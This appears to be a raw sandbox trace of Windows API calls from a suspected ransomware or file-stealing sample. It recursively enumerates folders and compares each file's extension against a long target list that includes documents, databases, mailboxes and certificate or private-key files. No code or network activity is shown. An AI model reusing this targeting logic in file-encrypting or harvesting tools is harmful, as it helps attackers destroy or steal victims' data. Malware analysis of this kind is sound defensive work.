	[0189.108] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".ods") returned 4
	[0189.108] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".oft") returned 4
	[0189.108] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".one") returned 4
	[0189.108] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".onepkg") returned 7
	[0189.108] lstrcmpiW (lpString1=".onepkg", lpString2="win.exe") returned -1
	[0189.108] lstrlenW (lpString=".onetoc2") returned 8
	[0189.108] lstrcmpiW (lpString1=".onetoc2", lpString2="cwin.exe") returned -1
	[0189.108] lstrlenW (lpString=".opt") returned 4
	[0189.108] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".oqy") returned 4
	[0189.108] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".orf") returned 4
	[0189.108] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".p12") returned 4
	[0189.108] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".p7b") returned 4
	[0189.108] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".p7c") returned 4
	[0189.108] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pam") returned 4
	[0189.108] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pbm") returned 4
	[0189.108] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pct") returned 4
	[0189.108] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pcx") returned 4
	[0189.108] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pdd") returned 4
	[0189.108] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".pdf") returned 4
	[0189.109] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pdp") returned 4
	[0189.109] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pef") returned 4
	[0189.109] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pem") returned 4
	[0189.109] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pff") returned 4
	[0189.109] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pfm") returned 4
	[0189.109] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pfx") returned 4
	[0189.109] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pgm") returned 4
	[0189.109] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".php") returned 4
	[0189.109] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".php3") returned 5
	[0189.109] lstrcmpiW (lpString1=".php3", lpString2="n.exe") returned -1
	[0189.109] lstrlenW (lpString=".php4") returned 5
	[0189.109] lstrcmpiW (lpString1=".php4", lpString2="n.exe") returned -1
	[0189.109] lstrlenW (lpString=".php5") returned 5
	[0189.109] lstrcmpiW (lpString1=".php5", lpString2="n.exe") returned -1
	[0189.109] lstrlenW (lpString=".phtml") returned 6
	[0189.109] lstrcmpiW (lpString1=".phtml", lpString2="in.exe") returned -1
	[0189.109] lstrlenW (lpString=".pict") returned 5
	[0189.109] lstrcmpiW (lpString1=".pict", lpString2="n.exe") returned -1
	[0189.109] lstrlenW (lpString=".pl") returned 3
	[0189.109] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0189.109] lstrlenW (lpString=".pls") returned 4
	[0189.109] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pm") returned 3
	[0189.109] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0189.109] lstrlenW (lpString=".png") returned 4
	[0189.109] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pnm") returned 4
	[0189.109] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0189.109] lstrlenW (lpString=".pot") returned 4
	[0189.110] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".potm") returned 5
	[0189.110] lstrcmpiW (lpString1=".potm", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".potx") returned 5
	[0189.110] lstrcmpiW (lpString1=".potx", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".ppa") returned 4
	[0189.110] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".ppam") returned 5
	[0189.110] lstrcmpiW (lpString1=".ppam", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".ppm") returned 4
	[0189.110] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".pps") returned 4
	[0189.110] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".ppsm") returned 5
	[0189.110] lstrcmpiW (lpString1=".ppsm", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".ppt") returned 4
	[0189.110] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".pptm") returned 5
	[0189.110] lstrcmpiW (lpString1=".pptm", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".pptx") returned 5
	[0189.110] lstrcmpiW (lpString1=".pptx", lpString2="n.exe") returned -1
	[0189.110] lstrlenW (lpString=".prn") returned 4
	[0189.110] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".ps") returned 3
	[0189.110] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0189.110] lstrlenW (lpString=".psb") returned 4
	[0189.110] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".psd") returned 4
	[0189.110] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".pst") returned 4
	[0189.110] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".ptx") returned 4
	[0189.110] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".pub") returned 4
	[0189.110] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0189.110] lstrlenW (lpString=".pwm") returned 4
	[0189.110] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0189.111] lstrlenW (lpString=".pxr") returned 4
	[0189.111] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0189.111] lstrlenW (lpString=".py") returned 3
	[0189.111] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0189.111] lstrlenW (lpString=".qt") returned 3
	[0189.111] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0189.111] lstrlenW (lpString=".r3d") returned 4
	[0189.111] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0189.111] lstrlenW (lpString=".raf") returned 4
	[0189.111] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0189.111] lstrlenW (lpString=".rar") returned 4
	[0189.111] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.111] lstrlenW (lpString=".raw") returned 4
	[0189.111] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0189.111] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0189.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName=".", cAlternateFileName="")) returned 0x3fb21d8
	[0189.111] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="..", cAlternateFileName="")) returned 1
	[0189.111] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="ado", cAlternateFileName="")) returned 1
	[0189.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb27d8
	[0189.113] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.113] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0189.113] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0189.113] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2658
	[0189.114] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.114] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0189.114] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0
	[0189.114] FindClose (in: hFindFile=0x3fb2658 | out: hFindFile=0x3fb2658) returned 1
	[0189.114] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.114] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0189.114] lstrlenW (lpString="msader15.dll") returned 12
	[0189.114] lstrlenW (lpString=".1cd") returned 4
	[0189.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.114] lstrlenW (lpString=".3ds") returned 4
	[0189.114] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0189.114] lstrlenW (lpString=".3fr") returned 4
	[0189.115] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".3g2") returned 4
	[0189.115] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".3gp") returned 4
	[0189.115] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".7z") returned 3
	[0189.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.115] lstrlenW (lpString=".accda") returned 6
	[0189.115] lstrcmpiW (lpString1=".accda", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".accdb") returned 6
	[0189.115] lstrcmpiW (lpString1=".accdb", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".accdc") returned 6
	[0189.115] lstrcmpiW (lpString1=".accdc", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".accde") returned 6
	[0189.115] lstrcmpiW (lpString1=".accde", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".accdt") returned 6
	[0189.115] lstrcmpiW (lpString1=".accdt", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".accdw") returned 6
	[0189.115] lstrcmpiW (lpString1=".accdw", lpString2="15.dll") returned -1
	[0189.115] lstrlenW (lpString=".adb") returned 4
	[0189.115] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".adp") returned 4
	[0189.115] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".ai") returned 3
	[0189.115] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0189.115] lstrlenW (lpString=".ai3") returned 4
	[0189.115] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".ai4") returned 4
	[0189.115] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0189.115] lstrlenW (lpString=".ai5") returned 4
	[0189.115] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".ai6") returned 4
	[0189.116] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".ai7") returned 4
	[0189.116] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".ai8") returned 4
	[0189.116] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".anim") returned 5
	[0189.116] lstrcmpiW (lpString1=".anim", lpString2="5.dll") returned -1
	[0189.116] lstrlenW (lpString=".arw") returned 4
	[0189.116] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".as") returned 3
	[0189.116] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0189.116] lstrlenW (lpString=".asa") returned 4
	[0189.116] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".asc") returned 4
	[0189.116] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".ascx") returned 5
	[0189.116] lstrcmpiW (lpString1=".ascx", lpString2="5.dll") returned -1
	[0189.116] lstrlenW (lpString=".asm") returned 4
	[0189.116] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".asmx") returned 5
	[0189.116] lstrcmpiW (lpString1=".asmx", lpString2="5.dll") returned -1
	[0189.116] lstrlenW (lpString=".asp") returned 4
	[0189.116] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".aspx") returned 5
	[0189.116] lstrcmpiW (lpString1=".aspx", lpString2="5.dll") returned -1
	[0189.116] lstrlenW (lpString=".asr") returned 4
	[0189.116] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".asx") returned 4
	[0189.116] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".avi") returned 4
	[0189.116] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0189.116] lstrlenW (lpString=".avs") returned 4
	[0189.116] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".backup") returned 7
	[0189.117] lstrcmpiW (lpString1=".backup", lpString2="r15.dll") returned -1
	[0189.117] lstrlenW (lpString=".bak") returned 4
	[0189.117] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".bay") returned 4
	[0189.117] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".bd") returned 3
	[0189.117] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0189.117] lstrlenW (lpString=".bin") returned 4
	[0189.117] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".bmp") returned 4
	[0189.117] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".bz2") returned 4
	[0189.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".c") returned 2
	[0189.117] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0189.117] lstrlenW (lpString=".cdr") returned 4
	[0189.117] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".cer") returned 4
	[0189.117] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".cf") returned 3
	[0189.117] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0189.117] lstrlenW (lpString=".cfc") returned 4
	[0189.117] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".cfm") returned 4
	[0189.117] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".cfml") returned 5
	[0189.117] lstrcmpiW (lpString1=".cfml", lpString2="5.dll") returned -1
	[0189.117] lstrlenW (lpString=".cfu") returned 4
	[0189.117] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".chm") returned 4
	[0189.117] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".cin") returned 4
	[0189.117] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0189.117] lstrlenW (lpString=".class") returned 6
	[0189.117] lstrcmpiW (lpString1=".class", lpString2="15.dll") returned -1
	[0189.117] lstrlenW (lpString=".clx") returned 4
	[0189.117] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".config") returned 7
	[0189.118] lstrcmpiW (lpString1=".config", lpString2="r15.dll") returned -1
	[0189.118] lstrlenW (lpString=".cpp") returned 4
	[0189.118] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".cr2") returned 4
	[0189.118] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".crt") returned 4
	[0189.118] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".crw") returned 4
	[0189.118] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".cs") returned 3
	[0189.118] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0189.118] lstrlenW (lpString=".css") returned 4
	[0189.118] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".csv") returned 4
	[0189.118] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".cub") returned 4
	[0189.118] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dae") returned 4
	[0189.118] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dat") returned 4
	[0189.118] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".db") returned 3
	[0189.118] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0189.118] lstrlenW (lpString=".dbf") returned 4
	[0189.118] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dbx") returned 4
	[0189.118] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dc3") returned 4
	[0189.118] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dcm") returned 4
	[0189.118] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dcr") returned 4
	[0189.118] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".der") returned 4
	[0189.118] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0189.118] lstrlenW (lpString=".dib") returned 4
	[0189.118] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0189.119] lstrlenW (lpString=".dic") returned 4
	[0189.119] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0189.119] lstrlenW (lpString=".dif") returned 4
	[0189.119] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0189.119] lstrlenW (lpString=".divx") returned 5
	[0189.119] lstrcmpiW (lpString1=".divx", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".djvu") returned 5
	[0189.119] lstrcmpiW (lpString1=".djvu", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".dng") returned 4
	[0189.119] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".doc") returned 4
	[0189.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".docm") returned 5
	[0189.119] lstrcmpiW (lpString1=".docm", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".docx") returned 5
	[0189.119] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".dot") returned 4
	[0189.119] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dotm") returned 5
	[0189.119] lstrcmpiW (lpString1=".dotm", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".dotx") returned 5
	[0189.119] lstrcmpiW (lpString1=".dotx", lpString2="5.dll") returned -1
	[0189.119] lstrlenW (lpString=".dpx") returned 4
	[0189.119] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dqy") returned 4
	[0189.119] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dsn") returned 4
	[0189.119] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dt") returned 3
	[0189.119] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0189.119] lstrlenW (lpString=".dtd") returned 4
	[0189.119] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dwg") returned 4
	[0189.119] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dwt") returned 4
	[0189.119] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0189.119] lstrlenW (lpString=".dx") returned 3
	[0189.120] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0189.120] lstrlenW (lpString=".dxf") returned 4
